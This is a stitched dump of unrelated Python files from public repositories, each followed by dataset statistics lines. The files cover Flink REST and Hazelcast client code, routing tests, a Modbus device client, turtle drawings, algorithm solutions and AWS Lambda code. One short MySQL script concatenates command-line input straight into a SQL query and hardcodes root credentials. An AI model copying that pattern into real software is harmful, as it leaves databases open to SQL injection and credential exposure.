>>> str(result) '<?xml version="1.0"?>\n<foo>5</foo>\n' """ import os SFFTK_MIGRATIONS_VERSION = '0.1.0b7' VERSION_LIST = [ '0.7.0.dev0', '0.8.0.dev1' ] TEST_DATA_PATH = os.path.join(os.path.dirname(__file__)) XSL = os.path.join(TEST_DATA_PATH, 'data', 'xsl') XML = os.path.join(TEST_DATA_PATH, 'data', 'xml') MIGRATIONS_PACKAGE = 'sfftk_migrate.migrations' STYLESHEETS_DIR = os.path.join(os.path.dirname(__file__), 'stylesheets') ENDIANNESS = { "little": "<", "big": ">", } MODE = { "int8": "b", "uint8": "B", "int16": "h", "uint16": "H", "int32": "i", "uint32": "I", "int64": "q", "uint64": "Q", "float32": "f", "float64": "d" }

29.678899

127

0.678825

471

3,235

4.59448

0.428875

0.016636

0.018484

0.022181

0.0878

0.038817

0

0.017037

0.165379

3,235

108

128

29.953704

0.784444

0.799691

0

0.241706

0.037915

0

1

0

false

0

0.037037

0

0.037037

0

null

0

null

0

1

0

e9c9d816a148fcaa90837526278207a3fb99ed20

802

py

Python

RTplzrunBlog/ThisandThat/1168.py

lkc263/Algorithm_Study_Python

5b9a74ecf7e864c861df2280a1bf4b393b0fcbca

[ "MIT" ]

null

RTplzrunBlog/ThisandThat/1168.py

lkc263/Algorithm_Study_Python

5b9a74ecf7e864c861df2280a1bf4b393b0fcbca

[ "MIT" ]

null

RTplzrunBlog/ThisandThat/1168.py

lkc263/Algorithm_Study_Python

5b9a74ecf7e864c861df2280a1bf4b393b0fcbca

[ "MIT" ]

null

from sys import stdin as s n, k = map(int, s.readline().split()) tree = [0] * 400005 def init(node, s, e): if s == e: tree[node] = 1 return tree[node] mid = (s + e) >> 1 tree[node] = init(2 * node, s, mid) + init(2 * node + 1, mid + 1, e) return tree[node] def query(node, s, e, k): tree[node] -= 1 if s == e: return s mid = (s + e) >> 1 if tree[2 * node] >= k: return query(2 * node, s, mid, k) else: return query(2 * node + 1, mid + 1, e, k - tree[2 * node]) init(1, 1, n) x = k print("<", end="") for idx in range(0, n - 1): print("%d, " % query(1, 1, n, x), end="") x += k - 1 if x % tree[1] == 0: x = tree[1] else: x %= tree[1] print("%d" % query(1, 1, n, x), end="") print(">")

19.095238

72

0.451372

141

802

2.567376

0.241135

0.033149

0.024862

0.033149

0.165746

0.104972

0

0.064151

0.339152

802

41

73

19.560976

0.618868

0

0.258065

0

0.009975

0

1

0.064516

false

0

0.032258

0

0.258065

0.129032

0

null

0

null

0

1

0

e9d6bbb09e450702b15b4ceb0a5be3a4e585501e

7,237

py

Python

flink_rest_client/v1/jars.py

frego-dev/flink-rest-client

e63e3bc4e6ec73a1a86adb3bfbc011087a5248bd

[ "MIT" ]

null

flink_rest_client/v1/jars.py

frego-dev/flink-rest-client

e63e3bc4e6ec73a1a86adb3bfbc011087a5248bd

[ "MIT" ]

null

flink_rest_client/v1/jars.py

frego-dev/flink-rest-client

e63e3bc4e6ec73a1a86adb3bfbc011087a5248bd

[ "MIT" ]

null

import ntpath import os from flink_rest_client.common import _execute_rest_request, RestException class JarsClient: def __init__(self, prefix): """ Constructor. Parameters ---------- prefix: str REST API url prefix. It must contain the host, port pair. """ self.prefix = f"{prefix}/jars" def all(self): """ Returns a list of all jars previously uploaded via '/jars/upload'. Endpoint: [GET] /jars Returns ------- dict List all the jars were previously uploaded. """ return _execute_rest_request(url=self.prefix) def upload(self, path_to_jar): """ Uploads a jar to the cluster from the input path. The jar's name will be the original filename from the input path. Endpoint: [POST] /jars/upload Parameters ---------- path_to_jar: str Path to the jar file. Returns ------- dict Result of jar upload. """ filename = os.path.basename(path_to_jar) files = { "file": (filename, (open(path_to_jar, "rb")), "application/x-java-archive") } return _execute_rest_request( url=f"{self.prefix}/upload", http_method="POST", files=files ) def get_plan(self, jar_id): """ Returns the dataflow plan of a job contained in a jar previously uploaded via '/jars/upload'. Endpoint: [POST] /jars/:jarid/plan Parameters ---------- jar_id: str String value that identifies a jar. When uploading the jar a path is returned, where the filename is the ID. This value is equivalent to the `id` field in the list of uploaded jars.xe Returns ------- dict Details of the jar_id's plan. Raises ------ RestException If the jar_id does not exist. """ return _execute_rest_request( url=f"{self.prefix}/{jar_id}/plan", http_method="POST" )["plan"] def run( self, jar_id, arguments=None, entry_class=None, parallelism=None, savepoint_path=None, allow_non_restored_state=None, ): """ Submits a job by running a jar previously uploaded via '/jars/upload'. Endpoint: [POST] /jars/:jarid/run Parameters ---------- jar_id: str String value that identifies a jar. When uploading the jar a path is returned, where the filename is the ID. This value is equivalent to the `id` field in the list of uploaded jars. arguments: dict (Optional) Dict of program arguments. entry_class: str (Optional) String value that specifies the fully qualified name of the entry point class. Overrides the class defined in the jar file manifest. parallelism: int (Optional) Positive integer value that specifies the desired parallelism for the job. savepoint_path: str (Optional) String value that specifies the path of the savepoint to restore the job from. allow_non_restored_state: bool (Optional) Boolean value that specifies whether the job submission should be rejected if the savepoint contains state that cannot be mapped back to the job. Returns ------- str 32-character hexadecimal string value that identifies a job. Raises ------ RestException If the jar_id does not exist. """ data = {} if arguments is not None: data["programArgs"] = " ".join([f"--{k} {v}" for k, v in arguments.items()]) if entry_class is not None: data["entry-class"] = entry_class if parallelism is not None: if parallelism < 0: raise RestException( "get_plan method's parallelism parameter must be a positive integer." ) data["parallelism"] = parallelism if savepoint_path is not None: data["savepointPath"] = savepoint_path if allow_non_restored_state is not None: data["allowNonRestoredState"] = allow_non_restored_state return _execute_rest_request( url=f"{self.prefix}/{jar_id}/run", http_method="POST", json=data )["jobid"] def upload_and_run( self, path_to_jar, arguments=None, entry_class=None, parallelism=None, savepoint_path=None, allow_non_restored_state=None, ): """ Helper method to upload and start a jar in one method call. Parameters ---------- path_to_jar: str Path to the jar file. arguments: dict (Optional) Comma-separated list of program arguments. entry_class: str (Optional) String value that specifies the fully qualified name of the entry point class. Overrides the class defined in the jar file manifest. parallelism: int (Optional) Positive integer value that specifies the desired parallelism for the job. savepoint_path: str (Optional) String value that specifies the path of the savepoint to restore the job from. allow_non_restored_state: bool (Optional) Boolean value that specifies whether the job submission should be rejected if the savepoint contains state that cannot be mapped back to the job. Returns ------- str 32-character hexadecimal string value that identifies a job. Raises ------ RestException If an error occurred during the upload of jar file. """ result = self.upload(path_to_jar=path_to_jar) if not result["status"] == "success": raise RestException("Could not upload the input jar file.", result) return self.run( ntpath.basename(result["filename"]), arguments=arguments, entry_class=entry_class, parallelism=parallelism, savepoint_path=savepoint_path, allow_non_restored_state=allow_non_restored_state, ) def delete(self, jar_id): """ Deletes a jar previously uploaded via '/jars/upload'. Endpoint: [DELETE] /jars/:jarid Parameters ---------- jar_id: str String value that identifies a jar. When uploading the jar a path is returned, where the filename is the ID. This value is equivalent to the `id` field in the list of uploaded jars. Returns ------- bool True, if jar_id has been successfully deleted, otherwise False. Raises ------ RestException If the jar_id does not exist. """ res = _execute_rest_request(url=f"{self.prefix}/{jar_id}", http_method="DELETE") if len(res.keys()) < 1: return True else: return False

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0.033015

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0

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false

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0

0.246575

0

null

0

null

0

1

0

e9da4c23e10982ade2cffc9ff31b496b0afdcefd

2,320

py

Python

kovalenko1.py

Maxim-Kovalenko/turtle-graphics-programms

768866f9b6658dc0933b0391387a6bdec64ad6ec

[ "Apache-2.0" ]

1

2020-04-14T08:31:24.000Z

kovalenko1.py

Maxim-Kovalenko/turtle-graphics-programms

768866f9b6658dc0933b0391387a6bdec64ad6ec

[ "Apache-2.0" ]

null

kovalenko1.py

Maxim-Kovalenko/turtle-graphics-programms

768866f9b6658dc0933b0391387a6bdec64ad6ec

[ "Apache-2.0" ]

1

2021-01-05T15:47:59.000Z

from turtle import * from random import * # from random import * def move(x, y): penup() goto(x, y) pendown() def fillpolygon(side, count, color1, color2): pencolor(color2) fillcolor(color1) begin_fill() for i in range(count): forward(side) left(360 / count) end_fill() def christmas_tree(size, xStart, yStart): move(xStart, yStart) fillpolygon(size, 4, "brown", "black") left(90) forward(size) right(90) backward(size) for g in range(2): fillpolygon(size * 3, 3, "lightgreen", "green") left(60) forward(size * 2) right(60) backward(size) fillpolygon(size * 3, 3, "lightgreen", "green") '''left(60) forward(size*3) right(60) backward(size/4) fillpolygon(size/2, 5, "orange", "darkorange")''' def treesLine(side, minX, y, count, distBetw): for counter in range(count): x = minX + distBetw * counter christmas_tree(side, x, y) def star(side, mainColor, fillColor, x, y): move(x, y) pencolor(mainColor) fillcolor(fillColor) begin_fill() left(107) for count in range(5): forward(side) left(144) penup() right(107) end_fill() def starLine(side, minX, y, count, distBetw): for counter in range(count): x = minX + distBetw * counter star(side, "yellow", "yellow", x, y) def moon(radius, color, minX, minY, maxX, maxY): x = randint(minX, maxX) y = randint(minY, maxY) move(x, y) dot(radius, color) def frame(x1, y1, x2, y2, color): pensize(10) pencolor(color) move(x1, y1) goto(x1, y2) goto(x2, y2) goto(x2, y1) goto(x1, y1) '''def writeline(line, color): pencolor(color) left(90) penup() forward(55) left(90) forward(30) write(line)''' bgcolor("gray") speed(0) moon(200, "white", -925, 300, 900, 400) frame(-950, -490, 950, 500, "darkorange") pensize(3) starLine(40, -900, 450, 15, 120) starLine(40, -900, 380, 13, 150) starLine(40, -900, 300, 15, 120) treesLine(20, -900, 100, 23, 80) treesLine(20, -700, -100, 18, 80) treesLine(20, -900, -300, 23, 80) #''' writeline("Merry Christmas!", "darkblue")

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2,320

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0.136986

0

null

0

null

0

1

0

e9db9333dcabf339b75e8e3dafb52fedc14104d7

9,713

py

Python

tests.py

klen/http-router

b571aed91200e9d57da4d2136d7e1a5312ef6c4e

[ "MIT" ]

11

2020-11-10T15:12:58.000Z

2022-01-24T13:14:53.000Z

tests.py

klen/http-router

b571aed91200e9d57da4d2136d7e1a5312ef6c4e

[ "MIT" ]

2

2021-05-01T13:59:14.000Z

2022-03-09T20:45:02.000Z

tests.py

klen/http-router

b571aed91200e9d57da4d2136d7e1a5312ef6c4e

[ "MIT" ]

null

"""HTTP Router tests.""" import inspect import typing as t from re import compile as re import pytest @pytest.fixture def router(): from http_router import Router, NotFound, MethodNotAllowed, RouterError # noqa return Router() def test_router_basic(router): assert router assert not router.trim_last_slash assert router.validator assert router.NotFound assert router.RouterError assert router.MethodNotAllowed router.trim_last_slash = True assert router.trim_last_slash def test_router_route_re(router): router.route(re('test.jpg'))('test1 passed') assert router('test.jpg').target == 'test1 passed' assert router('testAjpg').target == 'test1 passed' assert router('testAjpg/regex/can/be/dangerous').target == 'test1 passed' router.route(re(r'params/(\w+)'))('test2 passed') match = router('params/mike') assert match assert not match.params router.route(re(r'params2/(?P<User>\w+)'))('test3 passed') match = router('params2/mike') assert match assert match.params == {'User': 'mike'} def test_router_route_str(router): router.route('test.jpg')(True) match = router('test.jpg') assert match with pytest.raises(router.NotFound): router('test.jpeg') router.route('/any/{item}')(True) match = router('/any/test') assert match assert match.params == {'item': 'test'} router.route('/str/{item:str}')(True) match = router('/str/42') assert match assert match.params == {'item': '42'} router.route('/int/{item:int}')(True) match = router('/int/42') assert match assert match.params == {'item': 42} router.route(r'/regex/{item:\d{3}}')(True) match = router('/regex/422') assert match assert match.params == {'item': '422'} def test_parse_path(): from http_router.utils import parse_path assert parse_path('/') == ('/', None, {}) assert parse_path('/test.jpg') == ('/test.jpg', None, {}) assert parse_path('/{foo') == ('/{foo', None, {}) path, regex, params = parse_path(r'/{foo}/') assert isinstance(regex, t.Pattern) assert regex.pattern == r'^/(?P<foo>[^/]+)/$' assert path == '/{foo}/' assert params == {'foo': str} path, regex, params = parse_path(r'/{foo:int}/') assert isinstance(regex, t.Pattern) assert regex.pattern == r'^/(?P<foo>\d+)/$' assert path == '/{foo}/' assert params == {'foo': int} path, regex, params = parse_path(re(r'/(?P<foo>\d{1,3})/')) assert isinstance(regex, t.Pattern) assert params == {} assert path path, regex, params = parse_path(r'/api/v1/items/{item:str}/subitems/{ subitem:\d{3} }/find') assert path == '/api/v1/items/{item}/subitems/{subitem}/find' assert regex.match('/api/v1/items/foo/subitems/300/find') assert params['item'] assert params['subitem'] def test_route(): from http_router.routes import Route route = Route('/only-post', {'POST'}, None) assert route.methods assert route.match('/only-post', 'POST') assert not route.match('/only-post', '') route = Route('/only-post', set(), None) assert not route.methods def test_dynamic_route(): from http_router.routes import DynamicRoute route = DynamicRoute(r'/order/{id:int}', set(), None) match = route.match('/order/100', '') assert match assert match.params == {'id': 100} match = route.match('/order/unknown', '') assert not match assert not match.params route = DynamicRoute(re('/regex(/opt)?'), set(), None) match = route.match('/regex', '') assert match match = route.match('/regex/opt', '') assert match def test_router(): """Base tests.""" from http_router import Router router = Router(trim_last_slash=True) with pytest.raises(router.RouterError): router.route(lambda: 12) with pytest.raises(router.NotFound): assert router('/unknown') router.route('/', '/simple')('simple') match = router('/', 'POST') assert match.target == 'simple' assert not match.params match = router('/simple', 'DELETE') assert match.target == 'simple' assert not match.params router.route('/only-post', methods='post')('only-post') assert router.plain['/only-post'][0].methods == {'POST'} with pytest.raises(router.MethodNotAllowed): assert router('/only-post') match = router('/only-post', 'POST') assert match.target == 'only-post' assert not match.params router.route('/dynamic1/{id}')('dyn1') router.route('/dynamic2/{ id }')('dyn2') match = router('/dynamic1/11/') assert match.target == 'dyn1' assert match.params == {'id': '11'} match = router('/dynamic2/22/') assert match.target == 'dyn2' assert match.params == {'id': '22'} @router.route(r'/hello/{name:str}', methods='post') def hello(): return 'hello' match = router('/hello/john/', 'POST') assert match.target() == 'hello' assert match.params == {'name': 'john'} @router.route('/params', var='value') def params(**opts): return opts match = router('/params', 'POST') assert match.target() == {'var': 'value'} assert router.routes() assert router.routes()[0].path == '' def test_mounts(): from http_router import Router from http_router.routes import Mount router = Router() route = Mount('/api/', set(), router) assert route.path == '/api' match = route.match('/api/e1', '') assert not match router.route('/e1')('e1') match = route.match('/api/e1', 'UNKNOWN') assert match assert match.target == 'e1' root = Router() subrouter = Router() root.route('/api')(1) root.route(re('/api/test'))(2) root.route('/api')(subrouter) subrouter.route('/test')(3) assert root('/api').target == 1 assert root('/api/test').target == 3 def test_trim_last_slash(): from http_router import Router router = Router() router.route('/route1')('route1') router.route('/route2/')('route2') assert router('/route1').target == 'route1' assert router('/route2/').target == 'route2' with pytest.raises(router.NotFound): assert not router('/route1/') with pytest.raises(router.NotFound): assert not router('/route2') router = Router(trim_last_slash=True) router.route('/route1')('route1') router.route('/route2/')('route2') assert router('/route1').target == 'route1' assert router('/route2/').target == 'route2' assert router('/route1/').target == 'route1' assert router('/route2').target == 'route2' def test_validator(): from http_router import Router # The router only accepts async functions router = Router(validator=inspect.iscoroutinefunction) with pytest.raises(router.RouterError): router.route('/', '/simple')(lambda: 'simple') def test_converter(): from http_router import Router # The router only accepts async functions router = Router(converter=lambda v: lambda r: (r, v)) router.route('/')('simple') match = router('/') assert match.target('test') == ('test', 'simple') def test_custom_route(): from http_router import Router class View: methods = 'get', 'post' def __new__(cls, *args, **kwargs): """Init the class and call it.""" self = super().__new__(cls) return self(*args, **kwargs) @classmethod def __route__(cls, router, *paths, **params): return router.bind(cls, *paths, methods=cls.methods) # The router only accepts async functions router = Router() router.route('/')(View) assert router.plain['/'][0].methods == {'GET', 'POST'} match = router('/') assert match.target is View def test_nested_routers(): from http_router import Router child = Router() child.route('/url', methods='PATCH')('child_url') match = child('/url', 'PATCH') assert match.target == 'child_url' root = Router() root.route('/child')(child) with pytest.raises(root.NotFound): root('/child') with pytest.raises(root.NotFound): root('/child/unknown') with pytest.raises(root.MethodNotAllowed): root('/child/url') match = root('/child/url', 'PATCH') assert match.target == 'child_url' def test_readme(): from http_router import Router router = Router(trim_last_slash=True) @router.route('/simple') def simple(): return 'simple' match = router('/simple') assert match.target() == 'simple' assert match.params is None def test_method_shortcuts(router): router.delete('/delete')('DELETE') router.get('/get')('GET') router.post('/post')('POST') for route in router.routes(): method = route.target assert route.methods == {method} def test_benchmark(router, benchmark): import random import string CHARS = string.ascii_letters + string.digits RANDOM = lambda: ''.join(random.choices(CHARS, k=10)) # noqa METHODS = 'GET', 'POST' routes = [f"/{ RANDOM() }/{ RANDOM() }" for _ in range(100)] routes += [f"/{ RANDOM() }/{{item}}/{ RANDOM() }" for _ in range(100)] random.shuffle(routes) paths = [] for route in routes: router.route(route, methods=random.choice(METHODS))('OK') paths.append(route.format(item=RANDOM())) paths = [route.format(item=RANDOM()) for route in routes] def do_work(): for path in paths: try: assert router(path) except router.MethodNotAllowed: pass benchmark(do_work)

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9,713

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1

0.089494

false

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0.194553

0

null

0

null

0

1

0

e9e0012334031a979e4c8078a3fc972d1c90c1a0

5,192

py

Python

speaker/adam.py

shannon-jia/speaker

31c642f018725dd4878ef6a4e7a19b12b05774c8

[ "MIT" ]

null

speaker/adam.py

shannon-jia/speaker

31c642f018725dd4878ef6a4e7a19b12b05774c8

[ "MIT" ]

null

speaker/adam.py

shannon-jia/speaker

31c642f018725dd4878ef6a4e7a19b12b05774c8

[ "MIT" ]

null

#!/usr/bin/env python3 # _*_ coding: utf-8 _*_ import asyncio import logging import struct log = logging.getLogger(__name__) class TcpClientProtocol(asyncio.Protocol): def __init__(self, master): self.master = master def connection_made(self, transport): self.transport = transport self.master.connected = True def data_received(self, data): log.info('Data received: {!r}'.format(data)) def connection_lost(self, exc): log.error('The server closed the connection') self.master.connected = None class Adam(object): HEAD = b'\x00\x00\x00\x00\x00\x06' def __init__(self, loop, host, port=502): self.station_address = 1 self.function_code = 5 self.coil_address = 0x10 self.send_str = b'' self.loop = loop or asyncio.get_event_loop() self.host = host self.port = port self.connected = None self.loop.create_task(self._do_connect()) self.transport = None self.coils_state = 0 self.transaction_id = 0 self.protocol_id = 0 # self.loop.call_later(6, self.keepAlive) async def _do_connect(self): while True: await asyncio.sleep(5) if self.connected: continue try: xt, _ = await self.loop.create_connection( lambda: TcpClientProtocol(self), self.host, self.port) log.info('Connection create on {}'.format(xt)) self.transport = xt self.connected = True self.read_coils_status() # self.login() except OSError: log.error('Server not up retrying in 5 seconds...') except Exception as e: log.error('Error when connect to server: {}'.format(e)) def _command_head(self, length): self.transaction_id += 1 s = struct.Struct('>HHH') values = (self.transaction_id, self.protocol_id, length) return s.pack(*values) # function code is 1 def read_coils_status(self): self.send_str = self._command_head(6) s = struct.Struct('>BBHH') values = (self.station_address, 1, self.coil_address, 8) self.send_str += s.pack(*values) log.info('Adam-6017 read_coil_status...') return self.call(self.send_str) # function code is 5 def force_single_coil(self, address, action): if action.upper() == 'OFF': act = 0x0000 elif action.upper() == 'ON': act = 0xFF00 else: act = 0xFFFF self.send_str = self._command_head(6) s = struct.Struct('>BBHH') values = (self.station_address, 5, address, act) self.send_str += s.pack(*values) log.info('Adam-6017 Function[0x05]({})'.format(action, address)) return self.call(self.send_str) # function code is f def force_multi_coils(self, data): self.send_str = self._command_head(8) s = struct.Struct('>BBHHBB') values = (self.station_address, 0x0f, self.coil_address, 0x08, 0x01, data) self.send_str += s.pack(*values) log.info('Adam-6017 Function[0x0F]({})'.format(data)) return self.call(self.send_str) def call(self, cmd): log.info('Try to send: {}'.format(cmd)) if self.transport: self.transport.write(cmd) log.debug('send cmd to server: {}'.format(cmd)) else: log.error('Invalid server transport.') # zone = 0: do-0 # zone = 1: do-1 def alarm_task(self, action, task, zone=0): if action.upper() == 'OFF': self.coils_state &= ~(1 << zone) elif action.upper() == 'ON': self.coils_state |= (1 << zone) else: self.coils_state = 0 self.force_single_coil(self.coil_address + zone, action) # self.read_coils_status() # self.force_multi_coils(self.coils_state) if __name__ == '__main__': log = logging.getLogger("") formatter = logging.Formatter("%(asctime)s %(levelname)s " + "[%(module)s:%(lineno)d] %(message)s") # log the things log.setLevel(logging.DEBUG) ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) ch.setFormatter(formatter) log.addHandler(ch) loop = asyncio.get_event_loop() port = 8502 host = '127.0.0.1' adam = Adam(loop, host, port) asyncio.sleep(10) adam.alarm_task('ON', 1) adam.alarm_task('OFF', 1) adam.alarm_task('release', 1) adam.alarm_task('ON', 1, 1) adam.alarm_task('OFF', 1, 1) adam.alarm_task('release', 1, 1) # Serve requests until Ctrl+C is pressed try: loop.run_forever() except KeyboardInterrupt: pass # Close the server loop.close()

28.685083

72

0.548151

612

5,192

4.486928

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0.029133

0.040058

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0.237436

0.171522

0.124181

0.095776

0

0.028927

0.334168

5,192

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73

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0.765404

0.061633

0

0.192593

0

0.092219

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0

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0

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false

0.007407

0.022222

0

0.155556

0

null

0

null

0

1

0

e9e0f660874b7198857a18d3f6b0c75b556083fb

721

py

Python

forMySQL/countupgetpoints.py

ryosuke0503/DockerMySQL

c1f3a8e92623cdf0297cd6f721fb9d92046f4091

[ "MIT" ]

null

forMySQL/countupgetpoints.py

ryosuke0503/DockerMySQL

c1f3a8e92623cdf0297cd6f721fb9d92046f4091

[ "MIT" ]

null

forMySQL/countupgetpoints.py

ryosuke0503/DockerMySQL

c1f3a8e92623cdf0297cd6f721fb9d92046f4091

[ "MIT" ]

null

# -*- coding: utf-8 -*- import mysql.connector import pandas as pd import sys #tablename = str(sys.argv[1]) csvname = "result1232.csv" #総得点を出したいチーム名 target = str(sys.argv[1]) # 接続する conn = mysql.connector.connect( host="localhost", database="toto", user="root", password="root" ) print("connection: "+str(conn.is_connected())) # カーソルを取得する cur = conn.cursor(buffered=True, dictionary=True) mysql = "SELECT SUM(IF( home='"+target+"' , homescore , IF( away='"+target+"' , awayscore , 0))) FROM matches;" cur.execute(mysql) ret=cur.fetchone() mysql = "SUM(IF( home='"+target+"' , homescore , IF( away='"+target+"' , awayscore , 0)))" #print(ret) print(ret[mysql]) conn.commit() cur.close() conn.close()

22.53125

111

0.660194

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721

5

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0.058947

0.042105

0.046316

0.193684

0

0.014469

0.137309

721

32

112

22.53125

0.749196

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0

0.299363

0

1

0

false

0.047619

0.142857

0

0.142857

0.095238

0

null

0

null

0

1

0

7567342e6e2ce849445abb8610ff24fc2aab8a0f

558

py

Python

stack/lambdas/rekopoc-check-status/lambda_function.py

anapt/rekognition-video-people-blurring-cdk

ce1a57178bcd81a17d7f287ff4ccf2be6aae93b2

[ "MIT-0" ]

9

2021-10-01T08:21:03.000Z

2022-03-02T14:34:16.000Z

stack/lambdas/rekopoc-check-status/lambda_function.py

anapt/rekognition-video-people-blurring-cdk

ce1a57178bcd81a17d7f287ff4ccf2be6aae93b2

[ "MIT-0" ]

null

stack/lambdas/rekopoc-check-status/lambda_function.py

anapt/rekognition-video-people-blurring-cdk

ce1a57178bcd81a17d7f287ff4ccf2be6aae93b2

[ "MIT-0" ]

3

2021-10-01T08:33:32.000Z

2022-02-02T22:40:48.000Z

import boto3 reko = boto3.client('rekognition') s3 = boto3.client('s3') def lambda_handler(event, context): job_id = event['job_id'] reko_client = boto3.client('rekognition') response = reko_client.get_face_detection(JobId=job_id, MaxResults=100) return { "statusCode": 200, "body": { "job_id": job_id, "job_status": response['JobStatus'], "s3_object_bucket": event['s3_object_bucket'], "s3_object_key": event['s3_object_key'] } }

26.571429

75

0.577061

62

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4.887097

0.467742

0.082508

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0

0.040609

0.293907

558

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0.728426

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0

1

0.058824

false

0

0.058824

0

0.176471

0

null

0

null

0

1

0

756a6183aee4660b960c432b4510670a699bf9cb

1,314

py

Python

hazelcast/protocol/codec/count_down_latch_await_codec.py

tonytheonlypony/hazelcast-python-client

3aafeaf2ebc05aee4f2386c62c079db496a7c81f

[ "Apache-2.0" ]

98

2015-12-08T14:26:27.000Z

2022-03-23T17:44:11.000Z

hazelcast/protocol/codec/count_down_latch_await_codec.py

tonytheonlypony/hazelcast-python-client

3aafeaf2ebc05aee4f2386c62c079db496a7c81f

[ "Apache-2.0" ]

396

2016-02-23T11:07:55.000Z

2022-03-31T14:26:34.000Z

hazelcast/protocol/codec/count_down_latch_await_codec.py

tonytheonlypony/hazelcast-python-client

3aafeaf2ebc05aee4f2386c62c079db496a7c81f

[ "Apache-2.0" ]

62

2015-12-09T11:20:53.000Z

2022-01-28T01:30:54.000Z

from hazelcast.serialization.bits import * from hazelcast.protocol.builtin import FixSizedTypesCodec from hazelcast.protocol.client_message import OutboundMessage, REQUEST_HEADER_SIZE, create_initial_buffer, RESPONSE_HEADER_SIZE from hazelcast.protocol.codec.custom.raft_group_id_codec import RaftGroupIdCodec from hazelcast.protocol.builtin import StringCodec # hex: 0x0B0200 _REQUEST_MESSAGE_TYPE = 721408 # hex: 0x0B0201 _RESPONSE_MESSAGE_TYPE = 721409 _REQUEST_INVOCATION_UID_OFFSET = REQUEST_HEADER_SIZE _REQUEST_TIMEOUT_MS_OFFSET = _REQUEST_INVOCATION_UID_OFFSET + UUID_SIZE_IN_BYTES _REQUEST_INITIAL_FRAME_SIZE = _REQUEST_TIMEOUT_MS_OFFSET + LONG_SIZE_IN_BYTES _RESPONSE_RESPONSE_OFFSET = RESPONSE_HEADER_SIZE def encode_request(group_id, name, invocation_uid, timeout_ms): buf = create_initial_buffer(_REQUEST_INITIAL_FRAME_SIZE, _REQUEST_MESSAGE_TYPE) FixSizedTypesCodec.encode_uuid(buf, _REQUEST_INVOCATION_UID_OFFSET, invocation_uid) FixSizedTypesCodec.encode_long(buf, _REQUEST_TIMEOUT_MS_OFFSET, timeout_ms) RaftGroupIdCodec.encode(buf, group_id) StringCodec.encode(buf, name, True) return OutboundMessage(buf, True) def decode_response(msg): initial_frame = msg.next_frame() return FixSizedTypesCodec.decode_boolean(initial_frame.buf, _RESPONSE_RESPONSE_OFFSET)

43.8

127

0.853881

167

1,314

6.221557

0.305389

0.06256

0.080847

0.075072

0.162656

0

0.020101

0.091324

1,314

29

128

45.310345

0.850084

0.020548

0

1

0.095238

false

0

0.238095

0

0.428571

0

null

0

null

0

1

0

756b0adc0964779163796787d2e6398c5eb4706e

980

py

Python

LeetCode/088 Merge Sorted Array.py

gesuwen/Algorithms

0c9cf4412d76f8b69ef68cc80636323f5a0e5786

[ "MIT" ]

null

LeetCode/088 Merge Sorted Array.py

gesuwen/Algorithms

0c9cf4412d76f8b69ef68cc80636323f5a0e5786

[ "MIT" ]

null

LeetCode/088 Merge Sorted Array.py

gesuwen/Algorithms

0c9cf4412d76f8b69ef68cc80636323f5a0e5786

[ "MIT" ]

null

# Array; Two Pointers # Given two sorted integer arrays nums1 and nums2, merge nums2 into nums1 as one sorted array. # # Note: # # The number of elements initialized in nums1 and nums2 are m and n respectively. # You may assume that nums1 has enough space (size that is greater or equal to m + n) to hold additional elements from nums2. # Example: # # Input: # nums1 = [1,2,3,0,0,0], m = 3 # nums2 = [2,5,6], n = 3 # # Output: [1,2,2,3,5,6] class Solution: def merge(self, nums1, m, nums2, n): """ :type nums1: List[int] :type m: int :type nums2: List[int] :type n: int :rtype: void Do not return anything, modify nums1 in-place instead. """ p, q = m-1, n-1 while p >= 0 and q >= 0: if nums1[p] > nums2[q]: nums1[p+q+1] = nums1[p] p -= 1 else: nums1[p+q+1] = nums2[q] q -= 1 nums1[:q+1] = nums2[:q+1]

28.823529

125

0.533673

155

980

3.374194

0.458065

0.01912

0.049713

0.030593

0

0.07716

0.338776

980

33

126

29.69697

0.729938

0.570408

0

1

0.090909

false

0

0.181818

0

null

0

null

0

1

0

756bf0598578d01db0afb38f8bafb682754f2e0c

1,007

py

Python

caf_verilog/test/test_capture_buffer.py

chiranthsiddappa/caf_verilog

cd3cfd00459dc03518fcce53d5d6ac5194fb2adc

[ "MIT" ]

1

2019-06-04T22:05:12.000Z

caf_verilog/test/test_capture_buffer.py

chiranthsiddappa/caf_verilog

cd3cfd00459dc03518fcce53d5d6ac5194fb2adc

[ "MIT" ]

6

2019-04-17T17:21:42.000Z

2019-09-11T16:15:28.000Z

caf_verilog/test/test_capture_buffer.py

chiranthsiddappa/caf_verilog

cd3cfd00459dc03518fcce53d5d6ac5194fb2adc

[ "MIT" ]

null

from unittest import TestCase from .. import capture_buffer as capt_buff from tempfile import mkdtemp import os class TestCaptureBuffer(TestCase): def test_capture_buffer(self): """ Test that the files are written out for instantiation and testbench. :return: """ tmpdir = mkdtemp() cb = capt_buff.CaptureBuffer(100, output_dir=tmpdir) cb.gen_tb() files = os.listdir(tmpdir) test_files = ['capture_buffer.v', 'capture_buffer_tb.v', 'capture_buffer_values.txt'] for file in test_files: self.assertIn(file, files) def test_capture_buffer_values_file(self): """ Test the file length of capture buffer values file. :return: """ tmpdir = mkdtemp() cb = capt_buff.CaptureBuffer(100, output_dir=tmpdir) with open(os.path.join(tmpdir, 'capture_buffer_values.txt')) as cbv: lines = len(cbv.readlines()) self.assertEqual(100, lines)

31.46875

93

0.637537

123

1,007

5.04065

0.439024

0.167742

0.122581

0.064516

0.193548

0

0.012228

0.269116

1,007

31

94

32.483871

0.830163

0.137041

0

0.210526

0

0.105459

0.062035

0

0.105263

1

0.105263

false

0

0.210526

0

0.368421

0

null

0

null

0

1

0

756c7eea74e1f5249521b52dff9a4f1dfed719d3

933

py

Python

db_to_excel.py

jfernandez04/fromdb_to_excel

f06bfbd83825f887afc814706dc6c34e6ba44f17

[ "Apache-2.0" ]

null

db_to_excel.py

jfernandez04/fromdb_to_excel

f06bfbd83825f887afc814706dc6c34e6ba44f17

[ "Apache-2.0" ]

3

2018-02-21T20:25:32.000Z

2018-02-23T18:25:44.000Z

db_to_excel.py

jfernandez04/fromdb_to_excel

f06bfbd83825f887afc814706dc6c34e6ba44f17

[ "Apache-2.0" ]

null

